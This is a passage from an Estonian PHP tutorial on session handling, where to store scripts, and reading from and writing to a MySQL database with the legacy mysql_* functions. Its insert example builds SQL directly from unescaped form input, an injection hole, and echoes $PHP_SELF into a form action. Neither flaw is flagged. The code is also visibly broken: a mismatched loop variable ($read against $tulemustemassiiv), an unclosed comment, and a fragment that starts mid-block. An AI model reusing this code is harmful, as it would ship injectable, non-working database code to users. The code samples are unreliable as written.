• Vajadusel on mul lihtne kasutajat ka poole sessiooni pealt blokeerida. St ma avastan, et


ta ei tegele mu lehel viisakate asjadega ja muudan andmebaasis ta passwordi kiiresti
ära. Kui oleks ainult muutuja 'logged=1', siis oleks tema minemasaamine veidi
tülikam.
• Juhul kui koodi on ikkagi sisse libisenud mingisugune apsakas, siis igakordsel
kontrollimisel on asi ikkagi turvalisem; näide:

PHP kood:

session_start();
session_register('logged');

Kasutaja keelab sessioonimuutuja edasiandmise serverile ning kirjutab selle hoopis ise
URL rea kaudu üle. Abimees selle vastu on $logged=""; või unset($logged); enne
sessiooni alustamist.
Kui valida näiliselt lihtsam tee, siis peab alati kindel olema, et sellega turvaauku ei
põhjustata.

22
PHP-koodi asukoht serveris
Esiteks tuleks veenduda, et keegi teine sinu koodile ligi ei pääseks. Koodi nägemine
kergendab sellest läbimurdmist tunduvalt, sest siis on teada, mis ees ootab. Selleks on
vajalik, et keegi sinu koodi niisama ei näeks: nt hoida skripte kõigile nähtavas
kataloogis parsimisele mittekuuluvate failinimedega. Tavaliselt parsitakse ära .php ja
.php3 laiendiga failid, aga kuna see sõltub konkreetsest serverist ja selle
administraatorist, siis on seda nimekirja võimalik järgmise jaanipäevani jätkata.
Üldjuhul laialt kasutatavat laiendit .inc serverid ei parsi.

Aga veelgi kavalam, kui eraldi koodijuppide äraparsimine, oleks nad paigutada kuskile
veebist kättesaadavast kataloogist kõrgemale.

Nt kui veebikataloog on /www/apache/user/htdocs/, siis oleks tore lisatavad php failid


paigutada nt kataloogi /www/apache/user/phpfailid/. Sest PHP oskab asju skripti lisada
ka väljaspoolt veebikataloogi. Külastajad aga neid faile käppida ei saa..

Teine asi on see, et isegi kui kogu programm on ehk turvaline, siis üksik fail võib
ikkagi haavatav olla, mistõttu tuleks neid eriti hoolsasti kaitsta.

MySQLi andmebaasiga suhtlemine


PHP pakub vahendid MySQLi andmebaasiga suhtlemiseks. Järgnevas näitame kuidas
toimetada MySQLi kasutamise palas tarvitatud andmebaasiga. Andmebaasiga
suhtlemiseks peab PHP skript kõigepealt näitama andmebaasiserveri nime,
kasutajanime, parooli ning kasutatava andmebaasi nime. Praktiliselt tähendab see, et
need väärtused tuleb sisestada PHP skripti avatekstina, mis pole aga tingimata
ebaturvaline, kuna PHP skripti ennast veebikoha külataja ei näe.

23
Andmebaasi kirjete kuvamine

PHP + MySQL
PHP ühendamine MySQL andmebaasiga käib komplekti erikäskude abil. Kogu vastav
käsustik on ära toodud PHP manuaalis.

Kõigepealt peame looma andmebaasi serveriga ühenduse ja siis valima vajaliku baasi.

1. /* loome ühenduse andmebaasiga pannes kirja serverinime, kasutajanimi


ja parool */
2. $yhendus = mysql_connect("$serverinimi", "$MySQLi_kasutaja",
"$parool");
3. /* valime andmebaasi - sama, mis MySQLi use-käsk */
4. mysql_select_db("$baasi_nimi", $yhendus);

Kui ühendus on olemas ja baas valitud, võime hakata tegema päringuid.

5. $tulemus = mysql_query("SELECT * FROM kalad;");

Nüüd on meil vaja neid tulemusi kuidagi kätte saada. Selleks on vaja teada, kui palju
ridu saadud päringus on.

6. $ridu = mysql_num_rows($tulemus);

Kui tulemuse ridade arv on teada, saame tulemuse väljastada veebilehele.

7. if($tulemus) { /* kontrollime, et tulemus ei oleks tühi */


8. $reanumber = 1;
9. while( $tulemustemassiiv = mysql_fetch_array($tulemus)){

while-korduslausega väljastame tulemused rida-realt lehele. Korduse tingimuseks olev


mysql_fetch_array loeb tulemuse rida-realt massiivi nimega tulemustemassiiv.

10. echo $reanumber .". - ".$read["nimi"]; /* andmebaasivälja "nimi" sisu */


11. echo " - ".$read["telefon"]."
\n"; /* andmebaasivälja "telefon" sisu */
12. $reanumber++; /* reanumber suureneb ühe võrra - võetakse järgmine
rida
13. }
14. }

Tulemused ilmuvad veebilehele samas järjekorras kui nad on andmebaasis.

Andmebaasi kirjete lisamine

24
Skript lisab andmebaasi kirje

$ab = mysql_connect("server", "kasutaja", "parool");


// valime andmetabeli
mysql_select_db("db nimi",$ab);
// kirjeldame päringu
$sql = "INSERT INTO rahvas VALUES ('$nimi','$vanus','$elukoht')";
// teostame päringu
$tulemus = mysql_query ($sql);
echo "<p>Asi valmis!<p>";
}
?>
<form method="post" action="<? echo $PHP_SELF ?>">
Nimi:<input type="textbox" name="nimi"><br>
Vanus:<input type="textbox" name="vanus"><br>
Elukoht:<input type="textbox" name="elukoht"><br>
<input type="submit" name="submit" value="Sisestan andmed">
</form>

Näide illustreerib ka ühte PHP skriptidele iseloomulikku asjaolu - skript kutsub ennast
ise taas välja. Nimelt, esmakordsel skripti brauserisse laadimisel pole ilmselt veel
vajutatud submit nuppu ja seetõttu on muutuja $submit väärtustamata. Tingimuse if
($submit) plokk jäetakse täitmata ja esitatakse ainult vorm. Vormi ACTIONiks oleva
muutuja $PHP_SELF väärtus on alati võrdne skripti URLiga, näiteks
http://www.zoo.edu.ee/skript.php. Täiteks vormi ja valides OK kutsutakse see sama
PHP skript välja, kuid muutuja $submit on nüüd väärtustatud ja seetõttu täidetakse if
tingimusele järgnev plokk. See plokk suhtleb andmebaasiga.

Andmebaasi ühendus lõpetatakse automaatselt peale skripti täitmise lõppu.

25

You might also like